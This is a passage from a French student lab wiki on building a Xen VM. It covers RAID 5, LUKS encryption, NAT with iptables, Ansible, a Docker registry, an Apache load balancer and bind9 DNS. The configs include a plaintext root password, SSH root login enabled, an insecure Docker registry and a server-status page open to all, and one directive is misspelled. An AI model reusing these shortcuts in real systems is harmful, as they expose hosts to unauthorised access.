 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des &amp;quot;apt install&amp;quot; et ne plus être considéré comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55087</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55087"/>
				<updated>2020-12-20T15:07:34Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Architecture de la ferme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
